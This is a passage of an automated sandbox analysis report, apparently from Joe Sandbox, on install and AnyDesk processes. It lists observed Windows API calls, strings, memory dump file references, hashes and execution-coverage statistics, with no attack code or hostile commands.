GetExitCodeProcess.KERNEL32(004034EE,DD0C5492), ref: 00401333
Sleep.KERNEL32(0000000A,00000000,?,00000000,00000000,00000001,00000034,00000000,00000000,?,?,?,00401200,?,00000000,00000124), ref: 0040134A
PeekNamedPipe.KERNEL32(An error occurred while attempting to contact the Windows Firewall service. Make sure that the service is running and try your request again.,000003FF,004034E6,004034EA,00000000,0000000A,00000000,?,00000000,00000000,00000001,00000034,00000000,00000000,?,?), ref: 0040136B
ReadFile.KERNEL32(An error occurred while attempting to contact the Windows Firewall service. Make sure that the service is running and try your request again.,000003FF,004034E6,00000000,An error occurred while attempting to contact the Windows Firewall service. Make sure that the service is running and try your request again.), ref: 00401390
WriteFile.KERNEL32(An error occurred while attempting to contact the Windows Firewall service. Make sure that the service is running and try your request again.,0040300D,00000000,An error occurred while attempting to contact the Windows Firewall service. Make sure that the service is running and try your request again.,000003FF), ref: 004013B3

Strings

An error occurred while attempting to contact the Windows Firewall service. Make sure that the service is running and try your request again., xrefs: 00401360, 00401385, 004013A8

Memory Dump Source

Source File: 0000000B.00000002.1124736719.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1124729540.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1124744809.0000000000402000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1124752388.0000000000403000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1124757318.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_install.jbxd

Similarity

API ID: File$CodeExitNamedPeekPipeProcessReadResumeSleepThreadWrite
String ID: An error occurred while attempting to contact the Windows Firewall service. Make sure that the service is running and try your request again.
API String ID: 3022753622-497955310
Opcode ID: b5d785fc7820e4a0bc205502a83c885fa92b0937b1fd10c1d6d02489aa044b17
Instruction ID: 4264b0224e35714e95bd80d17f6bc9ffd3cac92517e1364818596d3ece387535
Opcode Fuzzy Hash: b5d785fc7820e4a0bc205502a83c885fa92b0937b1fd10c1d6d02489aa044b17
Instruction Fuzzy Hash: 0A11D330B88304BAEA32AF11AE07F553A5DAB10B4AF208137B6017C4F586FE67549A1D

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: anydesk.exePID: 2640, Parent PID: 1404COMMON

Execution Graph

Execution Coverage:	15.4%
Dynamic/Decrypted Code Coverage:	34.4%
Signature Coverage:	9.4%
Total number of Nodes:	64
Total number of Limit Nodes:	3

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 010419FE Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 71
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,00000028,00000004,00000000,01041CCE,?), ref: 01041A84
VirtualProtect.KERNEL32(?,00000028,00000000,00000000), ref: 01041A9B

Strings

.itext, xrefs: 01041A54
.text, xrefs: 01041A22

Memory Dump Source

Source File: 00000010.00000002.1065177233.0000000001041000.00000020.00000001.01000000.00000008.sdmp, Offset: 01040000, based on PE: true

Associated: 00000010.00000002.1065173566.0000000001040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1065182104.0000000001045000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1065186314.0000000001046000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1069670165.0000000001640000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1074972510.0000000001AFB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1077981622.0000000001BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1077992730.0000000001BA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1078000417.0000000001BA9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1078004952.0000000001BAA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1078177888.0000000001C1A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1078185446.0000000001C1B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1080208903.0000000001FB7000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1040000_anydesk.jbxd

Similarity

API ID: ProtectVirtual
String ID: .itext$.text
API String ID: 544645111-3616233406
Opcode ID: fdd40904b9945d019ff8d71a82b50a3849a80eeded4464e536d7c71a8f80038b
Instruction ID: 72a5990922abc46db59ec97872d5f1419eb2b680ca9bc391e33895dd93443445
Opcode Fuzzy Hash: fdd40904b9945d019ff8d71a82b50a3849a80eeded4464e536d7c71a8f80038b
Instruction Fuzzy Hash: 1411DCB6A40301ABD721CFA48CC0AFAB7F8EB04740F044579EA82A6141E2B0F9D8D760

Uniqueness

Uniqueness Score: -1.00%

Function 01041000 Relevance: 1.6, APIs: 1, Instructions: 107
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,00000040,?,?,?,?,01041B87,?,?,?,00BC5E00,01044000,00BD5E00,?), ref: 01041045

Memory Dump Source

Source File: 00000010.00000002.1065177233.0000000001041000.00000020.00000001.01000000.00000008.sdmp, Offset: 01040000, based on PE: true

Associated: 00000010.00000002.1065173566.0000000001040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1065182104.0000000001045000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1065186314.0000000001046000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1069670165.0000000001640000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1074972510.0000000001AFB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1077981622.0000000001BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1077992730.0000000001BA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1078000417.0000000001BA9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1078004952.0000000001BAA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1078177888.0000000001C1A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1078185446.0000000001C1B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1080208903.0000000001FB7000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1040000_anydesk.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8ad0bd426fc4e14450ebb4a25b13beb1236773bfd8cb879707df8a141987a14b
Instruction ID: 7fa85f913c4cab08816346a5459efa178cb84bafb21205c0c9bf7c9de5a66fe5
Opcode Fuzzy Hash: 8ad0bd426fc4e14450ebb4a25b13beb1236773bfd8cb879707df8a141987a14b
Instruction Fuzzy Hash: 72412CB16007058FD764CF5AC8C0AA6B7F5FF58310B148A2EE89A87A51E375F485CB94

Uniqueness

Uniqueness Score: -1.00%

Function 01041CE9 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000,?), ref: 01041D77

Memory Dump Source

Source File: 00000010.00000002.1065177233.0000000001041000.00000020.00000001.01000000.00000008.sdmp, Offset: 01040000, based on PE: true

Associated: 00000010.00000002.1065173566.0000000001040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1065182104.0000000001045000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1065186314.0000000001046000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1069670165.0000000001640000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1074972510.0000000001AFB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1077981622.0000000001BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1077992730.0000000001BA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1078000417.0000000001BA9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1078004952.0000000001BAA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1078177888.0000000001C1A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1078185446.0000000001C1B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1080208903.0000000001FB7000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1040000_anydesk.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 94c2681d2b1e3eb6406967375ae4fe5eff479e93a6dfb9d6894ecbc3b3a4e859
Instruction ID: 8147cd756040b0787d040dc366b124adfb0c7cc57e0d91130bc96e54e61162d6
Opcode Fuzzy Hash: 94c2681d2b1e3eb6406967375ae4fe5eff479e93a6dfb9d6894ecbc3b3a4e859
Instruction Fuzzy Hash: BF112AB1D10329ABDF54FBA4D9C4AED73F8AF10311F040175E486A7190EB307A88CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01041E30 Relevance: 1.5, APIs: 1, Instructions: 8
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,?,01041CD9,?,?), ref: 01041E44

Memory Dump Source

Source File: 00000010.00000002.1065177233.0000000001041000.00000020.00000001.01000000.00000008.sdmp, Offset: 01040000, based on PE: true

Associated: 00000010.00000002.1065173566.0000000001040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1065182104.0000000001045000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1065186314.0000000001046000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1069670165.0000000001640000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1074972510.0000000001AFB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1077981622.0000000001BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1077992730.0000000001BA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1078000417.0000000001BA9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1078004952.0000000001BAA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1078177888.0000000001C1A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1078185446.0000000001C1B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1080208903.0000000001FB7000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1040000_anydesk.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 873b39fec90f4f0671b2281636695afc0d391dc8bf0768845598b67d286a207e
Instruction ID: 3c09dc069bbbada06aff8532a1130c896a879e1a1e2e990b8a10515bbe9ef057
Opcode Fuzzy Hash: 873b39fec90f4f0671b2281636695afc0d391dc8bf0768845598b67d286a207e
Instruction Fuzzy Hash: A9C04835214104AFCF919B98D8C8F097BE4FB48726F588884F209CB264DA309800DB11

Uniqueness

Uniqueness Score: -1.00%

Function 01041E47 Relevance: 1.3, APIs: 1, Instructions: 10
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 01041E5A

Memory Dump Source

Source File: 00000010.00000002.1065177233.0000000001041000.00000020.00000001.01000000.00000008.sdmp, Offset: 01040000, based on PE: true

Associated: 00000010.00000002.1065173566.0000000001040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1065182104.0000000001045000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1065186314.0000000001046000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1069670165.0000000001640000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1074972510.0000000001AFB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1077981622.0000000001BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1077992730.0000000001BA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1078000417.0000000001BA9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1078004952.0000000001BAA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1078177888.0000000001C1A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1078185446.0000000001C1B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1080208903.0000000001FB7000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1040000_anydesk.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 3dc2523992c0e9873fb1468224314b50e8676ef9b756e1eb3850a1a6f0b98258
Instruction ID: 940ed9418a9fb9ebffb70efacfb40250130096c33de6f0d3d4e746a799f020ec
Opcode Fuzzy Hash: 3dc2523992c0e9873fb1468224314b50e8676ef9b756e1eb3850a1a6f0b98258
Instruction Fuzzy Hash: 75C04C36504115EFCF505F94E84CEC6BFA4FF48365F168844F24997075C7309885CB51

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 015B0229 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32 ref: 015B95CA
SetUnhandledExceptionFilter.KERNEL32 ref: 015B95DF
UnhandledExceptionFilter.KERNEL32(01649B6C), ref: 015B95EA
GetCurrentProcess.KERNEL32(C0000409), ref: 015B9606
TerminateProcess.KERNEL32(00000000), ref: 015B960D

Strings

En^o, xrefs: 015B95BF

Memory Dump Source

Source File: 00000010.00000002.1065186314.0000000001046000.00000020.00000001.01000000.00000008.sdmp, Offset: 01045000, based on PE: true

Associated: 00000010.00000002.1065182104.0000000001045000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1069670165.0000000001640000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1074972510.0000000001AFB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1077981622.0000000001BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1077992730.0000000001BA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1078000417.0000000001BA9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1078004952.0000000001BAA000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1040000_anydesk.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID: En^o
API String ID: 2579439406-921869610
Opcode ID: 8d859e32fcba4c95b46566bd546153b5c9ea54e48b619d9a8053861073339db0
Instruction ID: e4dbae9a2d97d8bbbf4e36cba59908f7f655bd4bd492c17e29d041d1da15e8ea
Opcode Fuzzy Hash: 8d859e32fcba4c95b46566bd546153b5c9ea54e48b619d9a8053861073339db0
Instruction Fuzzy Hash: 5F21E3B8806304DFC760FF64E9C66997BF4BB48304F80601AF58897288EBB09581CF15

Uniqueness

Uniqueness Score: -1.00%

Function 01042DFD Relevance: .5, Instructions: 500COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1065177233.0000000001041000.00000020.00000001.01000000.00000008.sdmp, Offset: 01040000, based on PE: true

Associated: 00000010.00000002.1065173566.0000000001040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1065182104.0000000001045000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1065186314.0000000001046000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1069670165.0000000001640000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1074972510.0000000001AFB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1077981622.0000000001BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1077992730.0000000001BA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1078000417.0000000001BA9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1078004952.0000000001BAA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1078177888.0000000001C1A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1078185446.0000000001C1B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1080208903.0000000001FB7000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1040000_anydesk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce03736571f7384aa8c04e8d34d240d6cb8dd275eb8716f0e0fd7af206312961
Instruction ID: 98cb1188273ac773603332b6b2d4340fb930306c8ef7b473fea065506b6a0641
Opcode Fuzzy Hash: ce03736571f7384aa8c04e8d34d240d6cb8dd275eb8716f0e0fd7af206312961
Instruction Fuzzy Hash: 41128171E00128DFCB19CF69C5D05ACBBB2FF84356F2581BAE996AB251D7309E41DB80

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: AnyDesk.exePID: 2556, Parent PID: 404COMMON

Executed Functions

Function 016F9BE0 Relevance: 59.8, APIs: 20, Strings: 14, Instructions: 276filesynchronizationtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 016F9B80: CreateFileW.KERNEL32(00207540,C0000000,00000007,00000000,00000004,00000000,00000000), ref: 016F9BA4
Part of subcall function 016F9B80: GetLastError.KERNEL32(?,?,?,?,016F9C32,00000000,?), ref: 016F9BB8

_vswprintf_s.LIBCMT ref: 016F9C46

Part of subcall function 017FF48B: __vsnprintf_l.LIBCMT ref: 017FF49E

WaitForSingleObject.KERNEL32(00000000,00000BB8), ref: 016F9C68
OutputDebugStringA.KERNEL32(AnyDesk: Mutex broken!), ref: 016F9C94
GetSystemTime.KERNEL32(?), ref: 016F9CAE
TlsGetValue.KERNEL32(0000001C), ref: 016F9CB8
__itow.LIBCMT ref: 016F9CEA
GetCurrentThreadId.KERNEL32(?,?,?), ref: 016F9D61
GetCurrentProcessId.KERNEL32(00000000), ref: 016F9D68
__snprintf.LIBCMT ref: 016F9DAB
SetFilePointer.KERNEL32(0000014C,00000000,00000000,00000002), ref: 016F9DC9
SetFilePointer.KERNEL32(0000014C,00000000,00000000,00000000), ref: 016F9E02
ReadFile.KERNEL32(0000014C,00000000,00000000,00000000,00000000), ref: 016F9E14
_memmove.LIBCMT ref: 016F9E48
SetFilePointer.KERNEL32(0000014C,00000000,00000000,00000000), ref: 016F9E5A
WriteFile.KERNEL32(0000014C,00000000,00000000,00000000,00000000), ref: 016F9E73
SetFilePointer.KERNEL32(0000014C,00000000,00000000,00000000), ref: 016F9E82
SetEndOfFile.KERNEL32(0000014C), ref: 016F9E8C
WriteFile.KERNEL32(0000014C,?,?,?,00000000), ref: 016F9EBF
RtlEnterCriticalSection.NTDLL(01E008B0), ref: 016F9F1B
RaiseException.KERNEL32(00002329,00000000,00000000,00000000), ref: 016F9F2C

Strings

AnyDesk: Wait failed., xrefs: 016F9C81
AnyDesk: Timeout in trace., xrefs: 016F9C88
crash, xrefs: 016F9D38
AnyDesk: Mutex broken!, xrefs: 016F9C8F
gsvc, xrefs: 016F9D6F
invalid, xrefs: 016F9D4D
error, xrefs: 016F9D31
explode, xrefs: 016F9D46
auth, xrefs: 016F9D3F
warning, xrefs: 016F9D2A
info, xrefs: 016F9D23
%7s %4i-%02i-%02i %02i:%02i:%02i.%03i %10s %6lu %6lu %4s %32s - %s, xrefs: 016F9CF7
internal, xrefs: 016F9D15, 016F9D97
debug, xrefs: 016F9D1C

Memory Dump Source

Source File: 00000014.00000002.1168380407.00000000012A6000.00000020.00000001.01000000.0000000A.sdmp, Offset: 012A0000, based on PE: true

Associated: 00000014.00000002.1168341021.00000000012A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168351178.00000000012A1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168366673.00000000012A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170210568.0000000001D5B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170281104.0000000001E00000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170293455.0000000001E05000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170304196.0000000001E09000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170309438.0000000001E0A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170344791.0000000001E7A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170350491.0000000001E7B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170709047.0000000002217000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12a0000_AnyDesk.jbxd

Similarity

API ID: File$Pointer$CurrentWrite$CreateCriticalDebugEnterErrorExceptionLastObjectOutputProcessRaiseReadSectionSingleStringSystemThreadTimeValueWait__itow__snprintf__vsnprintf_l_memmove_vswprintf_s
String ID: %7s %4i-%02i-%02i %02i:%02i:%02i.%03i %10s %6lu %6lu %4s %32s - %s$AnyDesk: Mutex broken!$AnyDesk: Timeout in trace.$AnyDesk: Wait failed.$auth$crash$debug$error$explode$gsvc$info$internal$invalid$warning
API String ID: 1428767184-2229693265
Opcode ID: 4d7c62e524e00e1457b6d3e07f19f1086bbce73ad2a3d04d5eeea707700e87b2
Instruction ID: d3212f0c44366b9c0b252e794401d7153bd7c96d1ff7696e38d5cd50ed3ea489
Opcode Fuzzy Hash: 4d7c62e524e00e1457b6d3e07f19f1086bbce73ad2a3d04d5eeea707700e87b2
Instruction Fuzzy Hash: 89A1B2B2A00314ABEB24CFA8DC89BAE7BB8AF48718F14415DF705A7284D774D944CB65

Uniqueness

Uniqueness Score: -1.00%

Function 016F9BE0 Relevance: 58.0, APIs: 19, Strings: 14, Instructions: 276filesynchronizationtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 016F9B80: CreateFileW.KERNEL32(00207540,C0000000,00000007,00000000,00000004,00000000,00000000), ref: 016F9BA4
Part of subcall function 016F9B80: GetLastError.KERNEL32(?,?,?,?,016F9C32,00000000,?), ref: 016F9BB8

_vswprintf_s.LIBCMT ref: 016F9C46

Part of subcall function 017FF48B: __vsnprintf_l.LIBCMT ref: 017FF49E

WaitForSingleObject.KERNEL32(00000000,00000BB8), ref: 016F9C68
OutputDebugStringA.KERNEL32(AnyDesk: Mutex broken!), ref: 016F9C94
GetSystemTime.KERNEL32(?), ref: 016F9CAE
TlsGetValue.KERNEL32 ref: 016F9CB8
__itow.LIBCMT ref: 016F9CEA
GetCurrentThreadId.KERNEL32(?,?,?), ref: 016F9D61
GetCurrentProcessId.KERNEL32(00000000), ref: 016F9D68
__snprintf.LIBCMT ref: 016F9DAB
SetFilePointer.KERNEL32(0000014C,00000000,00000000,00000002), ref: 016F9DC9
SetFilePointer.KERNEL32(0000014C,00000000,00000000,00000000), ref: 016F9E02
ReadFile.KERNEL32(0000014C,00000000,00000000,00000000,00000000), ref: 016F9E14
SetFilePointer.KERNEL32(0000014C,00000000,00000000,00000000), ref: 016F9E5A
WriteFile.KERNEL32(0000014C,00000000,00000000,00000000,00000000), ref: 016F9E73
SetFilePointer.KERNEL32(0000014C,00000000,00000000,00000000), ref: 016F9E82
SetEndOfFile.KERNEL32(0000014C), ref: 016F9E8C
WriteFile.KERNEL32(0000014C,?,?,?,00000000), ref: 016F9EBF
EnterCriticalSection.KERNEL32(01E008B0), ref: 016F9F1B
RaiseException.KERNEL32(00002329,00000000,00000000,00000000), ref: 016F9F2C

Strings

AnyDesk: Wait failed., xrefs: 016F9C81
invalid, xrefs: 016F9D4D
%7s %4i-%02i-%02i %02i:%02i:%02i.%03i %10s %6lu %6lu %4s %32s - %s, xrefs: 016F9CF7
internal, xrefs: 016F9D15, 016F9D97
explode, xrefs: 016F9D46
AnyDesk: Mutex broken!, xrefs: 016F9C8F
auth, xrefs: 016F9D3F
AnyDesk: Timeout in trace., xrefs: 016F9C88
info, xrefs: 016F9D23
crash, xrefs: 016F9D38
warning, xrefs: 016F9D2A
debug, xrefs: 016F9D1C
error, xrefs: 016F9D31
gsvc, xrefs: 016F9D6F

Memory Dump Source

Source File: 00000014.00000002.1168380407.00000000012A6000.00000020.00000001.01000000.0000000A.sdmp, Offset: 012A5000, based on PE: true

Associated: 00000014.00000002.1168366673.00000000012A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170210568.0000000001D5B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170281104.0000000001E00000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170293455.0000000001E05000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170304196.0000000001E09000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170309438.0000000001E0A000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12a0000_AnyDesk.jbxd

Similarity

API ID: File$Pointer$CurrentWrite$CreateCriticalDebugEnterErrorExceptionLastObjectOutputProcessRaiseReadSectionSingleStringSystemThreadTimeValueWait__itow__snprintf__vsnprintf_l_vswprintf_s
String ID: %7s %4i-%02i-%02i %02i:%02i:%02i.%03i %10s %6lu %6lu %4s %32s - %s$AnyDesk: Mutex broken!$AnyDesk: Timeout in trace.$AnyDesk: Wait failed.$auth$crash$debug$error$explode$gsvc$info$internal$invalid$warning
API String ID: 51335404-2229693265
Opcode ID: 4d7c62e524e00e1457b6d3e07f19f1086bbce73ad2a3d04d5eeea707700e87b2
Instruction ID: d3212f0c44366b9c0b252e794401d7153bd7c96d1ff7696e38d5cd50ed3ea489
Opcode Fuzzy Hash: 4d7c62e524e00e1457b6d3e07f19f1086bbce73ad2a3d04d5eeea707700e87b2
Instruction Fuzzy Hash: 89A1B2B2A00314ABEB24CFA8DC89BAE7BB8AF48718F14415DF705A7284D774D944CB65

Uniqueness

Uniqueness Score: -1.00%

Function 018001F9 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 01800207

Part of subcall function 017FFBC1: __FF_MSGBANNER.LIBCMT ref: 017FFBDA
Part of subcall function 017FFBC1: __NMSG_WRITE.LIBCMT ref: 017FFBE1
Part of subcall function 017FFBC1: RtlAllocateHeap.NTDLL(00000000,00000001,00000001), ref: 017FFC06

_free.LIBCMT ref: 0180021A

Memory Dump Source

Source File: 00000014.00000002.1168380407.00000000012A6000.00000020.00000001.01000000.0000000A.sdmp, Offset: 012A0000, based on PE: true

Associated: 00000014.00000002.1168341021.00000000012A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168351178.00000000012A1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168366673.00000000012A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170210568.0000000001D5B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170281104.0000000001E00000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170293455.0000000001E05000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170304196.0000000001E09000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170309438.0000000001E0A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170344791.0000000001E7A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170350491.0000000001E7B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170709047.0000000002217000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12a0000_AnyDesk.jbxd

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
